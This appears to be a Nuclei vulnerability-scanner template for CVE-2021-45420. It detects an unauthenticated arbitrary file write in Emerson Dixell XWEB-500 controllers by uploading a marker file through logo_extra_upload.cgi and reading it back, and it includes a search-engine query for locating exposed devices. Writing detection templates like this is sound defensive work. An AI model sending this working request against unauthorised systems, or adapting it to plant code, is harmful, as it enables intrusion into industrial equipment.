id: dixell-xweb500-filewrite info: name: Emerson Dixell XWEB-500 - Arbitrary File Write author: hackerarpan severity: critical description: Emerson Dixell XWEB-500 products are affected by arbitrary file write vulnerabilities in /cgi-bin/logo_extra_upload.cgi, /cgi-bin/cal_save.cgi, and /cgi-bin/lo_utils.cgi. An attacker will be able to write any file on the target system without any kind of authentication mechanism, and this can lead to denial of service and potentially remote code execution. Note that this product has not been supported since 2018 and should be removed or replaced. reference: - https://www.exploit-db.com/exploits/50639 - https://nvd.nist.gov/vuln/detail/CVE-2021-45420 classification: cpe: cpe:2.3:h:emerson:dixell_xweb-500:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: emerson product: dixell_xweb-500 google-query: inurl:"xweb500.cgi" tags: lfw,iot,dixell,xweb500,edb,fileupload,intrusive http: - raw: - | POST /cgi-bin/logo_extra_upload.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/octet-stream {{randstr}}.txt dixell-xweb500-filewrite - | GET /logo/{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_2, "dixell-xweb500-filewrite")' - type: status status: - 200 # digest: 4a0a00473045022100f47669a9299877a344fe6abafd88788a4ab483936375ef236ded4aca0823465d022007269c31a8f143313352f7fdbcbc321065e16d09e1368a3e5c05df357f5d2ee6:922c64590222798bb761d5b6d8e72950